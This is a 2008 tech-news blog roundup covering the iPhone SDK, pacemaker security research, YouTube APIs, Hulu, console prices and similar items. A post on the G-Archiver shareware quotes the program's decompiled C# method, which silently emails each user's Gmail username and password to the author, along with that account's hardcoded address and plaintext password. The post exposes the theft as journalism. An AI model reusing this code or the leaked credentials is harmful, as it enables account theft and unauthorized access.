• Scott Zerby, vice president, THQ Wireless: "The iPhone is the mobile platform game developers have been dreaming of. We’re looking at how we can use the iPhone’s innovative user interface to create new game experiences for our big brand entertainment partners that consumers love."

If you haven't downloaded a copy of the SDK yet, you can download it here'. The beta version of the SDK is free to download, but to release applications based on it you'll have to join Apple's iPhone Developer Program - $99 a year.

Pacemakers, Defibrillators the Latest Target for Hackers?

Millions of Americans have pacemakers, which keeps their hearts beating regularly, or (like Dick Cheney) an implanted defibrillator, which can restart stopped or fibrillating hearts automatically when they detect an issue.

However, after these devices are implanted, they have to be programmed by a doctor. And that is the security hole that could allow hackers to maliciously attack these types of implanted devices.

The "programmer" as it's called transmits a signal to the implanted device. In a "why didn't they think of this earlier?" study, researchers have found that they could simulate the signal without the need of a programmer - which, for security reasons, can only be sold to physicians by one of the manufacturers (Medtronic Inc., Boston Scientific Corp., and St. Jude Medical Inc).

Of course, if you don't need a programmer ...

"This report demonstrates that you can obtain private information without authorization. You can reprogram the device without authorization," said William Maisel, a Harvard Medical School cardiologist and a co-author of the study, which will be presented at a California computer-security conference in May.

It should be noted that there have been no incidents like this so far (BTW, researchers, thanks for giving hackers a new idea ).

Dr. Maisel and his colleagues on the study - Kevin Fu of the University of Massachusetts, and Tadayoshi Kohno of the University of Washington, both computer-science professors - emphasized that they tested only one model of defibrillator made by Medtronic. They informed the FDA last month, he said.

It's not clear how long this hole will remain open, anyway. Boston Scientific, for one, encrypts data passed to its defibrillators, and doubted its devices could be hacked. That, to me sounds perfect, as that's how, for example, some models of powerline networking adapters work, encrypting data and pairing with each other to prevent hacking.

Meanwhile, Medtronic, the company with the questionable device, indicated it was increasing security in its products but said that security must be balanced with practicality and safety: if each defibrillator had its own password to prevent unauthorized access, a doctor might not be able to control it in an emergency situation.

Yeah, that makes sense, but isn't that what computerized records are for? I mean, after all, computers are secure and ... oh, waitasec.

iPod nanos Really Hot - Literally - in Japan?

Months ago I wrote about an Atlanta man who said his iPod nano ignited in his pocket. Perhaps Japanese authorities need to speak to him.

An official at the Ministry of Economy, Trade and Industry (METI), which oversees product problems, said a defect is suspected in the lithium-ion battery in the iPod Nano, model number MA099J/A. This would be a first generation model, just as in the earlier story. According to reports the device shot out sparks while recharging.

Apple hasn't denied the incident; indeed they reported the event to the Ministry this month (it occurred in Kanagawa Prefecture in January). They haven't, however, commented on the issue.

It should be noted that late last month another nano of the same older model was reported to have "exploded" in this Apple support forum post (nano pictured above).

Based on these multiple reports, would a thorough investigation turn up more events like these? And should consumers be concerned? Honestly, would anyone be truly surprised if this was another Li-ion battery problem? Though it's the batteries in laptops that we generally worry about, this is the same battery technology, after all.

At the very least I'd be wondering if Apple is getting batteries from Sony.

TiVo, YouTube to Bring Online Videos to TVs

Well, didn't we say that now that YouTube has released a new set of APIs we would be seeing partner announcements in the near future? Honestly, this was alluded to, though not detailed, in YouTube's press release.

What TiVo announced in a separate press release is access to YouTube videos directly from a TV through a TiVo DVR.

The service will be launched at the vaguely worded "later this year" to TiVo Series3 DVRs.

In the press release, TiVo described the service as follows:

Upon launch of the TiVo-YouTube service, TiVo users will be able to search, browse and watch these videos directly on their television sets through their broadband connected TiVo DVRs. The combination of having the YouTube experience with the convenience and familiarity of TiVo's intuitive user interface will provide TiVo subscribers with the ability to discover and enjoy the most shared and most discussed web videos in the world on their televisions. Importantly, users will be able to log into their YouTube accounts directly from their TiVo boxes and access their favorite YouTube channels and playlists.

"We're delighted to be working with the world's leading online video community so that TiVo subscribers can access YouTube's popular content on the TV via the TiVo DVR," said Tara Maitra, Vice President and GM of Content Services at TiVo Inc. "Being able to make available YouTube videos to the TiVo subscriber base using one device, one remote and one user interface is another major step in our commitment to combine all of your television and web video viewing options in one easy to use service."

So, how long before other DVRs get this? Since DirecTV dropped the DirecTiVo I've had to start using their DVR, and while it's fine, it obviously doesn't benefit from this announcement. Nor, of course, will other DVRs such as Dish Networks'. And Comcast customers will be wondering if their TiVo-developed (though still to roll out nationwide) DVRs will get this, too (probably not, based on experience with the DirecTiVo and feature upgrades for their "regular" units).

Now that we've seen the first announcement, next please.

YouTube: Broadcast Yourself, Anywhere

Rumors flew yesterday about today's YouTube announcement. Some thought it would be high-definition videos (long desired); others thought it would be a deal with Hulu (which would have been cool). The real announcement was an opening up of YouTube, turning it into a service that could power your own application, site, whatever, via new APIs.

No longer, for example, will you have to embed YouTube's own player and its branding; you'll even be able to upload videos and more.

According to the blog post announcement, these are the new APIs, which "build upon our existing APIs for querying the YouTube library and playing embedded YouTube videos":

• Upload videos and video responses to YouTube
• Add/Edit user and video metadata (titles, descriptions, ratings, comments, favorites, contacts, etc)
• Fetch localized standard feeds (most viewed, top rated, etc.) for 18 international locales
• Perform custom queries optimized for 18 international locales
• Customize player UI and control video playback (pause, play, stop, etc.) through software

Google also posted a series of "case studies" indicating how partners have already begun using these APIs. Examples include:

• Electronic Arts enables players to capture videos of user-generated creatures from their upcoming game, Spore, and publish these directly into YouTube.
  

• The University of California, Berkeley is bringing free educational content to the world, enhancing their open source lecture capture and delivery system to publish videos automatically into YouTube.
  

• Animoto enables its users to create personalized, professional-quality music videos from their own photos and upload them directly to YouTube.

More at the above link. And it also means you can expect announcements from these partners and others in the near future.

Now, about those high-def videos ...

"Reporters Without Borders" to Launch "International Online Free Expression Day"

Reporters Without Borders (RWB), whose mission is to fight for press freedom, will launch the first International Online Free Expression Day on Wednesday March 12th. At the same time it will also organize its second "24-hour online demonstration against Internet censorship." Internet users are urged to come and demonstrate on their website, www.rsf.org.

In an emailed press release, Reporters Without Borders said:

To denounce government censorship of the Internet and to demand more online freedom, Reporters Without Borders is calling on Internet users to come and protest in online versions of nine countries that are Internet enemies during the 24 hours from 6 a.m. ET tomorrow, March 12, to 6 a.m. ET on March 13. Anyone with Internet access will be able to create an avatar, choose a message for their banner and take part in one of the cyber-demos taking place in Burma, China, Cuba, Egypt, Eritrea, North Korea, Tunisia, Turkmenistan and Vietnam.

(Cyber-Demo for China above; Burma below; click to enlarge).

RWB lists 15 countries in this year's list of "Internet Enemies" - Belarus, Burma, China, Cuba, Egypt, Ethiopia, Iran, North Korea, Saudi Arabia, Syria, Tunisia, Turkmenistan, Uzbekistan, Vietnam and Zimbabwe. In 2007 there were only 13 - Zimbabwe and Ethiopia were added this year.

Additionally, RWB has a supplementary list of 11 "countries under watch." They are Bahrain, Eritrea, Gambia, Jordan, Libya, Malaysia, Sri Lanka, Tajikistan, Thailand, United Arab Emirates and Yemen.

According to RWB,

Unlike the "enemies," these countries do not imprison bloggers or censor the Internet massively. But they are sorely tempted and abuses are common. Many of them have laws that they could use to gag the Internet if they wanted. And the judicial or political authorities often use anti-terrorism laws to identify and monitor government opponents and activists expressing themselves online.

Also, RWB has released a new version of the Handbook for Bloggers and Cyber-Dissidents. The handbook offers practical advice and techniques on how to start up a blog, how to blog for anonymously and how to circumvent censorship. It also includes the accounts of bloggers from countries such as Egypt and Burma.

RWB plans to organize cyber-demonstration activities every March 12th, going forward.

Legislator Proposes Law Banning Anonymous Web Posting

Kentucky lawmaker Tim Couch has proposed a bill that would make anonymous Internet posting illegal. House Bill 775 would require anyone who wants to post a comment or other content on a Web site to register their real name, address, and e-mail address with the Web site.

The onus is placed on the website operators, however. According to the bill, website operators (or interactive service providers as the bill calls them) could face stiff fines.

An interactive service provider that violates any of the provisions of Section 2 of this Act shall be fined five hundred dollars ($500) for the first offense and one thousand dollars ($1,000) for each subsequent offense.

Although the bill was indeed filed in the Kentucky House of Representatives, Couch doesn't intend to pursue passage. Much as with Nebraska State Senator Ernie Chambers' lawsuit against God, it was all about bringing an issue to the fore.

"Some nasty things have been said about high school kids in my district, usually by other kids," Couch said. "The adults get in on it, too. When you're anonymous, you can say anything you want to about someone, and nobody knows who you are."

Of course, this law, even if it were constitutional, would be totally unenforceable. That would be obvious to anyone who thinks about it for even a short time.

Still, I have to admit he had good intentions (think about Megan Meier for a second before totally panning his attempt). While most will likely ridicule his bill - and perhaps even him - at the very least, it will get people talking.

R.E.M. to Launch New Album on Social Music Discovery Site iLike

Warner Bros. Records’ R.E.M.'s next album will release in North America on April 1st (no foolin'!). But, if you can't wait until then, R.E.M. and social music discovery service iLike announced Tuesday that Accelerate, the best-selling rock band’s 14th studio album, will stream in its entirety from iLike starting March 24th. The so-called iLike Worldwide Listening Party will continue through March 26th.

R.E.M. will also record an exclusive video message introducing and discussing the album for iLike, available for distribution across the Web.

iLike describes itself as a way to:

Discover and share playlists, new music that matches your tastes, and concerts by your favorite artists. The iLike Sidebar scans your music library, recommends new music, and helps you connect musically with your friends and the broader iLike community.

Social music discovery? It really sounds like music sharing via social networking, especially since iLike interfaces with social networking sites such as Facebook, MySpace, Bebo, hi5 as well as ... what else, the ubiquitous iTunes.

In a press release, R.E.M.'s frontman Michael Stipe said:

"Collaborating with iLike, and debuting Accelerate across the Web is in keeping with the spirit and immediacy of the album. We wanted to do something superfast and super real. Music, art, and pop culture are about right now, and nothing else matters. Accelerate is our turbo-charged response to the times we live in."

Speaking of a response to times we live in, R.E.M. played its first show of the year last week in Florida at the Langerado festival, where Stipe revealed his presidential candidate of choice - by sporting a Barack Obama t-shirt.

The Listening Party will be available on R.E.M.'s iLike page.

Microsoft Confirms Xbox 360 Price Drop in Europe

Microsoft made official the expected price cut on the European Xbox 360 on Monday, likely reacting to the declining dollars as well as sales of PS3s and Nintendo Wiis. Of course, you'd better make sure you wait until Friday to buy.

From the press release:

From Friday, 14th March, Xbox 360, which includes a 20GB hard drive and one wireless controller, will have an ERP of £199.99 - a saving of £50 on the current ERP. The Xbox 360 Elite, which comes with a massive 120GB hard drive enabling consumers to store huge quantities of content downloaded from Xbox LIVE™ Marketplace as well as their own music, will have an ERP of £259.99 - a saving of £40. The Xbox 360 Arcade console, perfect for those wishing to make their first foray into the gaming and entertainment world of Xbox, will have an ERP of £159.99 - a saving of £40.

In Euro markets, the new prices will be €199 for the Arcade, €269 for the Premium, and €369 for the Elite console. This is an across-the-board drop of €80 and brings pricing more in line with what U.S. buyers pay.

For example, the Arcade version, which sells for $279 in the US, sells for the equivalent of $306 in Euro markets and $322 in the U.K. (at the time of this writing). Compare this to the prior converted prices of $429 in Euro markets and $403 in the U.K.

This goes further: it makes the Xbox 360 cheaper than the Wii in Europe. The Wii sells for £179 in the UK and €249 in Euro markets. Still, as I've said previously, it's all about the fun - though at these prices you'd expect the Xbox 360 to see a unswing in sales.

Hulu Opens to the Public Wednesday

Hulu, the video-streaming site backed jointly by Fox and NBC Universal which debuted in late October, is about to open to the public. On Wednesday, the wraps will come off the service which, until now, has been invitation-only. The service will still be U.S.-only, however.

It was probably no coincidence that NBC Universal decided to not renew its iTunes distribution deal last year.

Hulu is ad-supported (what else?) and streams both TV shows and feature films from more than 50 content providers including NBC, Fox, Sony Pictures and Metro-Goldwyn-Mayer.

The emailed press release indicates at launch they will add Warner Brothers Television Group and Lionsgate, along with NBA and NHL highlights and well as full-length historical NCAA basketball games (what, no live Tourney coverage!).

According to Hulu, since the beta launch, Hulu's content has been seen by more than 5 million viewers across the Web. Additionally, they continued, the site's player has been embedded over 50,000 times across 5,000 sites (I know I've done it!).

The big questions will circle around financial viability and content.

Some are enamored with the way advertising is handled on Hulu. During some shows, viewers will be able to choose which ad they watch; some viewers are also be given the opportunity to watch a two-minute film preview before a TV show, and then skip all the other commercial breaks (Woo-hoo! Bathroom break and the start and then no interruptions!).

Since Hulu doesn't allow you to download content, unlike iTunes, you can't download and save it. If you miss an episode - and content is rotated - it could be annoying. If you can't be sure show x of your favorite show is there, you might turn elsewhere - perhaps even to BitTorrent.

Still, the service has managed to change the opinions of many since its launch. That's encouraging. It's possible that tomorrow the site will be swamped with new users, so don't be disappointed if performance is poor. Wait for the dust to settle, and give it a chance.

Windows Live FolderShare Gets a Beta Refresh

Windows Live FolderShare, which purports to be a great way to keep files synced between PCs as well as share and remotely access files, received a beta refresh today. According to Microsoft, the beta refresh adds:

• A new website designed to makes managing your FolderShare libraries and computers even easier.
• A new FolderShare with a better setup, a better system tray menu, and better performance on Windows Vista.
• Improvements on the backend to keep FolderShare running more smoothly and reliably (i.e., optimizations and bug fixes)

Microsoft originally acquired the startup FolderShare in late 2005, and rolled out the beta of Windows Live FolderShare in September of last year.

For those who don't know, you can run the FolderShare client on a PC ... or a Mac, and sync the files between them. You can even remotely access the files and folders on a PC, assuming its logged into FolderShare and remote access is enabled.

Of course, that's if the service is running, and that's been the bad part about FolderShare. It still hasn't been fully integrated into Windows Live (notice it's still got its own domain), it's still pretty buggy (check the comments for the blog post announcing the refresh), and it doesn't seem like, after all this time (two years since the acquisition), that much has been changed / improved.

However, Microsoft does admit that performance is slow right now ... perhaps because of more people signing up for the beta refresh? At least, I hope it's that, rather than bugs.

If you'd like to try the software, download the Windows or Mac versions here.

If they can work out the kinks, this would be a great service for those tired of carting data back and forth on an external USB hard drive - or whatever.

Sony/ATV, Apple Deny Rumors of iTunes Beatles Deal

Sorry, Beatles fans: two sources are throwing cold water on rumors that Paul McCartney has sold the rights to the Beatles back catalog to iTunes.

First, a denial by Sony/ATV Music Publishing, which is the joint venture owned by Sony and singer Michael Jackson. Sony/ATV owns the publishing rights to the vast majority of the catalog (EMI owns the recording rights). Thus, as a Sony/ATV spokeswoman said, had a deal been made, Sony/ATV would "absolutely be informed."

Meanwhile, Apple made a similar denial, with a spokeperson saying "This is not news, nor is it a scoop."

Rumors of an iTunes / Beatles deal turn up seemingly every few months or so, perhaps due to wishful thinking on the part of Beatles fans. This time the story seemed legitimate, with three major British newspapers reporting it.

Apparently, the respectability of the sources didn't have much to do with the validity of the story.

Additionally, when thinking about the financial implications of the deal, at $400 million, it would take Apple about 1.2 billion Beatles songs to make back the money, as Apple grosses about $0.33 per song. Since 2003, Apple has sold 4 billion tracks total.

Of course, just because it didn't happen now, doesn't mean it won't happen in the future. Beatles fans can continue to hope.

Windows Home Server Data Corruption Fix Coming, in June

We've written several times since late December about the file corruption issues that have plagued Windows Home Server - not a good thing for a file server, right? On Monday Microsoft indicated on the Windows Server Team Blog that they understand the problem "really well," and that they will have a fix - though not until June.

Of course, some people probably wonder why it's taking so long to fix, as this issue will have been known for six months before the fix will appear. Data corruption in an OS, obviously not an easy thing to find or fix, and I'm sure they want to get it right (this time) so extensive testing will be required. From the blog post:

From the outside looking in, some people would say “Why is this taking so long?” Fixing this issue is the Windows Home Server team’s top priority and the team is making good progress on the fix. We understand the issue really well at this point - it is at an extremely low level of the operating system and it requires thorough testing to ensure that the fix addresses the issue. We have coded a part of the fix which is currently being tested internally. Internal testing is expected to continue for at least several more weeks.

Once the patch has passed internal quality bars, external participants will be asked to help test the fix. Our current plan is to release beta test versions of a fix over the next few months, with a final version currently estimated for June 2008, although that date could change as testing progresses. Thorough testing of the fix is critical and will take time.

The KB946676 article gets a lot more detailed, pointing to Windows Home Server’s Drive Extender technology which many have suspected:

Windows Home Server uses a file system mini-filter driver in addition to the NTFS file system to implement Shared Folders storage technology. File system mini-filter drivers are an extensibility mechanism that is provided by Windows to enable storage scenarios. For distributing data across the different hard drives that are managed by Windows Home Server, the Windows Home Server mini-filter driver redirects I/O between files that are stored on the main hard drive and files that are stored on other hard drives. This redirection mechanism is enabled only when Windows Home Server is managing the Shared Folder storage of multiple physical hard drives. A bug has been discovered in the redirection mechanism which, in certain cases, depending on application use patterns, timing, and workload, may cause interactions between NTFS, the Memory Manager, and the Cache Manager to get out of sync. This causes corrupted data to be written to files.

And here's some fun stuff to be used as a workaround / preventative.

As a precautionary measure, users should use Windows Explorer or a command-line tool to copy files to and from the Windows Home Server-based computer. Do not use applications to directly edit or change files that are stored on the Windows Home Server-based computer.

Users may consider setting Shared Folders on Windows Home Server to read-only and avoid using media management programs, such as Windows Media Player, to import files to the home server. They may also want to avoid redirecting applications to access files that are stored in the Shared Folders because some applications may change the metadata of a file without explicit user action.

So don't use files directly on the Home Server. Wonderful way to use a file server, wouldn't you say?

They also indicate they will be using external beta testers once the fix has passed an internal screening, so if you've complained already about this issue - you might be on their short list.

Once again, isn't a NAS so much easier than all this?

Holocaust-Themed "Imagination is the Only Escape" Not Blocked, Says Publisher

Last month a 21-year-old British video game developer named Luc Bernard posted a description on his blog of a Holocaust-themed game he is writing for the Nintendo DS. The game, Imagination is the Only Escape, received swift negative reaction.

While the game is about the exploits of a young Jewish boy living in France during the Nazi occupation in World War II, the developer says it contains no on-screen violence and is meant to be educational. To me it sounds sorta Pan's Labyrinth-ish (and I loved that movie). However, obviously anything Holocaust-themed will be controversial.

The New York Times has reported that the game will not be distributed in the U.S., based on a Nintendo company statement.

However, at the same time, publisher Alten8 told Eurogamer that development on the game is in such early stages that they have not even discussed the game with Nintendo yet - and certainly distribution has not been blocked:

"The status of this game is currently concept / pre-production at this point in time. [Imagination is the Only Escape] is only in its early stages. No one has blocked it, and it has no definitive time scale for release. Luc [Bernard] is doing most of the artwork for all his game creations and we have not even discussed [IITOE] with Nintendo as of yet - Luc made various blog releases about the game concept and theme that have been picked up by various writers and used extensively, but are based on a few early artwork screens. In general we try to allow anyone we work with to use their creative talents and see no reasons why new type and styles of games and film content should not be tried."

Certainly, I believe, as does the developer, that a game of this nature could indeed be educational. After all, as poet and philosopher George Santayana said, "Those who cannot remember the past are condemned to repeat it."

That said, of course, I have not played the game or seen more than a few screenshots. But I would tend to give the developer some credit for intelligence - and sensitivity - around this issue. After all, as Bernard says in a blog post,

Now I would like to say something that I have already repeated, there is other games that are set during the Holocaust such as Call Of Duty and they are released on consoles.

So people before you say anything please play the game first, it has better taste than Call Of Duty and Medal Of Honor, this is the first Educational game set during that time.

Bernard also indicates that all his profits will be donated to stop the genocide in Darfur.

Could it be because a huge proportion of Nintendo DS games are generally on the "cutesy" side that all this ire has been raised?

What do you readers think?

Sony BMG Signs with Ad-Supported Music Service We7

What's up with Sony BMG? Of late, they seem to be open to trying new ideas which, based on their rootkit-like DRM and other issues in the past, seem out of character. First they sign a deal with Amazon MP3 for all DRM-free music, and now this!

Sony's new deal is with We7, an ad-supported music streaming / download service based in the U.K., with 100k subscribers and over 2m downloads as of February 2008. Sony BMG thus becomes the first major label to sign with We7, which was founded in April 2007. Musician Peter Gabriel is one of its founders.

The We7 service works by dynamically 'grafting' ads onto the front of music tracks and albums based on a user's demographics such as location, age, gender.

According to the press release:

From the end of April, We7's users will be able to stream music, on demand and for free with a short audio advert before each track, from the extensive Sony BMG catalogue. The label will also make available to stream on demand new releases from its current roster of artists. Initially the streaming service will only be available to existing registered users of We7, before it is rolled out to new subscribers.

Commenting on the announcement, Ged Doherty, Chairman of Sony BMG in the UK and Ireland, said "We are in the business of embracing a multitude of new ways our music can reach audiences. Our deal with We7 is an important step forward in offering fans greater flexibility in how they consume music."

Steve Purdham, CEO of We7, commented "Today marks a significant leap forward for We7 and the industry as a whole, as Sony BMG lead the way in embracing the on demand streaming model for the benefit of music fans, artists and advertisers alike."

Peter Gabriel, the musician and founder of We7, added "The digital revolution has provided exciting and extraordinary opportunities in the music business, even though it has been largely written off by many. We7 is a model that will supply free music to the consumer and still provide a stream of revenue to musicians and content owners. We are delighted that Sony BMG are exploring this new world, and are the first forward thinking major to come on board with us."

As indicated above, initial access to Sony BMG music will be limited, but it's unclear what "existing registered users" means. Does it mean only those already signed up as of this press release, or does it include those who sign up before the Sony BMG music goes live in April? I sent an email to We7 to find out.

It should also be noted that Sony BMG is only supplying tracks for the streaming part of We7's service, not the download portion, although Doherty did not rule out a future deal including downloads. He also said that Sony BMG was in talks with other such ad-supported music services - interesting.

Windows Update Fails with IE8 Beta

According to users and even Microsoft, Windows Update and the recently released Internet Explorer 8 (IE8) beta don't work well together. What you'll see is an error message telling you to install IE5 or later (above, click to enlarge).

It doesn't really surprise me that something like this, as Microsoft indicated that the default mode for IE8 would be "standards-compliant," and that unless developing you should switch to IE7 emulation mode. Personally, I would have immediately tried that in this case, but it didn't immediately occur to the original poster (OP) in this thread.

After updating my IE7 to IE8 today, I tried to update my windows vista by visting (sic) the Windows Update Website:http://www.update.microsoft.com, but then
I was redirected to an error page.

WHY? IS IE8 not the latest version browser?

What got me was the immediate answer from an MVP was "it's beta and thus not supported." No real answer. The OP had to figure it out himself.

Microsoft addressed this in a comment (not the original post, entitled "IE8 Beta Feedback") on the official IEBlog:

Yes, WindowsUpdate is updating their site to support IE8. For now, click the Emulate IE7 Button, restart all IE windows, and visit WU. Sorry for the inconvenience.

I've confirmed that IE7 emulation mode allows access to Windows Update. It's funny though: if you didn't know about the workaround, and Microsoft released an update to IE8 only though Windows Update, you couldn't get it.

Meanwhile,, users have reported problems accessing or rendering other sites with IE8, including Facebook, Gmail and Windows Live Mail.

But let's be honest: it's a beta, and even Microsoft said this was targeted toward web developers. Stilll, bug reports can't help but improve the product. Just don't expect it to replace your everyday browser.

McCartney Signs Deal with iTunes for Beatles Catalog: Report

If nothing else, it appears that the contentious divorce between Paul McCartney and Heather Mills has led to one good result - well, not for either of them, but for music fans. McCartney has authorized the release of the Beatles' back catalog on iTunes in a deal that is valued at $400 million, according to a Daily Mail report.

The deal will be exclusive to iTunes, which is unfortunate, as I would much rather see it on the all-MP3 (and DRM-free) Amazon MP3 service. Despite the music being on the EMI label, McCartney can choose who to deal with; however, since it is on EMI it would be available on iTunes in DRM-free format.

The majority of the money will go to McCartney, Ringo Starr and the families of John Lennon and George Harrison. Some of it will go to the EMI (as I mentioned) Sony recording groups, who each own certain Beatles recording or publishing rights.

Additionally, some will go to Michael Jackson, who owns some of the rights as well. Based on reports of late mortgage payments on Neverland Ranch, he could probably use a rapid infusion of cash.

Although McCartney could use the funds for his settlement, the Daily Mail also says that it's possible Heather Mills might ask for a larger amount, somewhat of a pyrrhic result.

It's unclear yet as to just when iTunes will have the music for sale, but you can be sure I'll keep you posted.

British Security Camera "Sees" Under Clothes

The British company Thruvision has announced the T5000 Security Imaging System, a camera that can "see" under clothes using what the company calls "passive imaging technology" to identify objects by the natural electromagnetic rays that they emit.

This radiation is known as Terahertz radiation or T-rays. T-rays are a form of low level energy naturally emitted from all materials, even animals and people. T-rays lie somewhere between infrared and microwaves on the electromagnetic spectrum and can pass through many solid materials including clothing, and in some cases, even walls.

The high-powered camera can detect hidden objects from up to 25 meters away. It's effective even if people are moving and - important for privacy advocates - it does not reveal physical body details. The company says the screening is harmless.

In Thruvision's press release (.PDF), Clive Beattie, ThruVision’s CEO said:

"Acts of terrorism have shaken the world in recent years and security precautions have been tightened globally. The T5000 dramatically extends the security surveillance envelope for ThruVision’s passive body scanning products used at important sites and events. The ability to see both metallic and non-metallic items on people out to 25m is certainly a key capability that will enhance any comprehensive security system deployment."

The company will display the T5000 at the Home Office Scientific Development Branch (HOSDB) Exhibition on 12 & 13 March 2008 (Booth # E6 and C44) at RAF Halton, near Aylesbury, Buckinghamshire, UK.

Since we know that London already has a network of cameras monitoring the city (and I've seen some pretty juicy stuff on Most Shocking), it begs the question of whether a city would put these cameras in place to check for drugs, etc., and if that would be a violation of privacy. We may find out sometime in the future.

Password Stealing Shareware a Wake-Up Call?

I haven't hidden the fact that I've been a victim of ID theft before. I've also had the good fortune to be one of the employees whose past IBM employee data was lost. This story, however, is a wake-up call: you shouldn't casually trust any shareware or freeware program - or even service.

Coding Horrors wrote Friday about an email they received from a reader named Dustin Brooks, which is truly a tale of horror:

I was looking for a way to back up my gmail account to a local drive. I've accumulated a mass of important information that I would rather not lose. During my search I came across G-Archiver, I figured what the heck I'll give it a try.

It didn't really have the functionality I was looking for, but being a programmer myself I used Reflector to take a peek at the source code. What I came across was quite shocking. John Terry, the apparent creator, hard coded his username and password to his gmail account in source code. All right, not the smartest thing in the world to do, but then I noticed that every time a user adds their account to the program to back up their data, it sends and email with their username and password to his personal email box! Having just entered my own information I became concerned.

I opened up a browser and logged in to gmail using his account information. It still worked.

Upon getting to the inbox I was greeted with 1,777 emails with account information for everyone who had ever used the software and right at the top was mine. I decided to go ahead and blast every email to the deleted folder and then empty it. I may have accidentally changed the password and security question to something I don't remember as well, whoops, my bad. I also contacted google to erase this account as I didn't see a way to delete it myself.

The evidence is in the SM.dll Mail class:

public static void CheckConnection(string a, string b)
{
try
{
MailMessage message = new MailMessage();
message.To.Add("JTerry79@gmail.com");
message.From = new MailAddress("JTerry79@gmail.com", "JTerry", Encoding.UTF8);
message.Subject = "Account";
message.SubjectEncoding = Encoding.UTF8;
message.Body = "Username: " + a;
message.Body = message.Body + "\r\nPassword: " + b;
message.BodyEncoding = Encoding.UTF8;
message.IsBodyHtml = false;
message.Priority = MailPriority.High;
SmtpClient client = new SmtpClient();
client.Credentials = new NetworkCredential("JTerry79@gmail.com", "bilal482");
client.Port = 0x24b;
client.Host = "smtp.gmail.com";
client.EnableSsl = true;
client.Send(message);
}
catch (Exception)
{
}
}

I see no reason for the programmer to have the email addresses and passwords of the users of this program sent to him. That's bad enough, but the program is also shareware, priced at $29.95, so he has the audacity to charge you for your info.

I have to applaud Brooks, but I think he should have gone further. I would have reported this to the authorities. Maybe he could have used G-Archiver to archive the guy's email as evidence!

It's also interesting that at least a few large download sites have been fooled into hosting this application. I emailed these two about the potential issue.

• Softpedia
• Download.com

In my search, I also found a site ironically purporting to have a crack for the program.

As I said, this incident should make you wary of giving your user info and passwords out for just any service. This is the first time I've heard of something like this, and it's going to affect the trust that users have for startups, freeware and shareware in the future - and that's a bad thing for all of us.

Beer Company Experiments with "Moonvertising"

Rolling Rock beer, which is actually an Anheuser-Busch brand, plans a new kind of advertising campaign: moonvertising. They describe it on their website as:

a new, more tasteful advertising campaign this year: putting our logo on the moon - moonvertising. And now, using this revolutionary website, you can broadcast your own message on the moon as well.

When you enter the site (after entering your birthdate), you'll find - it's truly agonizingly slow. It took about a minute to load the first page (an image from the resulting page is above; click to enlarge).

You can then click on green dots on the moon to see what other messages people have tried to "print" on the moon. Supposedly on March 21st, the next full moon the company will try to put its logo on the moon.

I seriously doubt it would really work, as the amount of power necessary would be beyond current technology. Even if they could provide that sort of power, doubtful the FAA or any other agency would allow such an attempt. Still, it's a clever ad campaign.

Circuit City Extends Return Time for HD-DVD Players

Some retailers have been offering credits or trade-ins for returns of HD-DVD players, but you always need to buy a new Blu-ray player in exchange. Circuit City is going them one better, extending its 30-day return policy to 90 days for HD-DVD players.

Of course, since the avalanche of bad HD-DVD news didn't really begin until January when Warner Bros. went Blu-ray only, those people who most likely might want to return a player, having (hopefully) not built up a large catalog of movies, are closing in on 90 days. I would assume that consumers would have been cautious enough to avoid HD-DVD players after that January announcement, and the ones that quickly followed.

In a statement Circuit City spokesman Jim Babb said:

"The recent format resolution for the next generation video disc is an important and singular development in the marketplace ... and we feel our response in this one case is appropriate, generous and customer-focused. At the same time, we note that while some people may want to return these players, many consumers are still purchasing HD DVD players because they are attractively priced at clearance, and they are high quality devices and play not only HD DVDs but also up-convert standard DVDs with improved playback quality."

Now if only Wal-Mart and Best Buy - maybe even Amazon.com - would offer a similar policy ...

Google's Street View "Off the Map" at U.S. Military Bases

There has been much made of Google Maps' Street View feature and privacy concerns. The public isn't alone in those concerns, as the Pentagon has forced Google to remove imagery of streets near military bases from Street View.

The Pentagon has also banned Google teams from entering military bases as well. Google did say it was against policy to request access to military bases for the purpose of capturing Street View images, and that the images in question were removed within 24 hours after the request was made.

What's interesting is that the request to remove / ban was made, according to Air Force Gen. Gene Renuart, chief of the U.S. Northern Command, after a Google team requested - and was granted access - to Fort Sam Houston in Texas. Some guard wasn't too on the ball, apparently.

Renuart said such views can show "where all the guards are, it shows how the barriers go up and down, it shows how to get in and out of buildings, and I think that poses a real security risk to our military installations."

Yes, that all makes sense, and Google's Street View feature has been under fire since the beginning, as I said, for privacy concerns. In fact, Canada feels that Street View may break Canadian privacy law.

Still without Street View, those with prurient interests wouldn't get to look at views like above. Seriously though, you can already get pretty good satellite imagery of military bases (Andrews Air Force Base, above). If they are that concerned, why have they not shut that down? Oops, maybe I'd better not give them any ideas.

Canadian Retailer to Offer Credit for HD-DVD Player Returns

I wrote earlier about a Japanese retailer who was allowing customers who had bought HD-DVD players to trade them in on new Blu-ray players. They had to make up the difference in price, but it was still a great deal. Now a Canadian retailer is making a similar offer.

Future Shop, which claims to Canada's largest retailer and e-tailer of consumer electronics, has announced a trade-in program - and you don't even need to have purchased the player at their store. From March 7th - April 3rd (while supplies last), customers who bring in a used HD-DVD player will receive a $100 credit toward either a Blu-ray player.

However, and here's the important point: it has to be either an LG or Samsung Blu-ray / HD-DVD combo player. These are (naturally) more expensive than a regular Blu-ray player, but the two advertised on the same page as the offer aren't priced too badly, at $499.

Since, as Eric Stockner, Director of Merchandising, Home Theatre, Future Shop, says in the press release:

"The Blu-ray/ HD-DVD Combo player is a win for customers as it allows them the opportunity to continue to view their HD DVDs while entering into the Blu-ray market."

Future Shop is, they say, offering the promotion as a way for the estimated 35,000 Canadian HD-DVD player owners to transition to Blu-ray while still being able to view their existing library.

Returned HD-DVD players will be donated to Boys and Girls Clubs of Canada for use in their after-school and evening programs.

HTML, Rich Text in Blackberry Email Delayed?

When RIM announced the upcoming changes in SP5 for Blackberry Enterprise Server 4.1 in late January, it had one highly anticipated feature at the top of the list of features to "Improve End User Productivity" - HTML and Rich Text email.

Improve End User Productivity

• Support for HTML and Rich Text email allows BlackBerry smartphone users to receive email messages with their original formatting preserved.
  • Users can read email more easily, view embedded images, hyperlinks, tables, bullets, numbering and indentation.

That was originally posted in their forums (and is still there, linked above). However, if you go to the What's New page on their website, it no longer matches the forum post. The section about HTML and Rich Text is now missing.

No official word on this from RIM, but hey, with Apple's iPhone announcements yesterday it's probably a good week to stay off the radar. It's already bad enough that SP5 was pushed out from February 29 to March 11.

Strange, though, because in RIM's February 21 webcast, HTML email was showcased. Perhaps they removed the feature from the What's New list until they could see if a delay to March 11 was sufficient to get the feature complete.

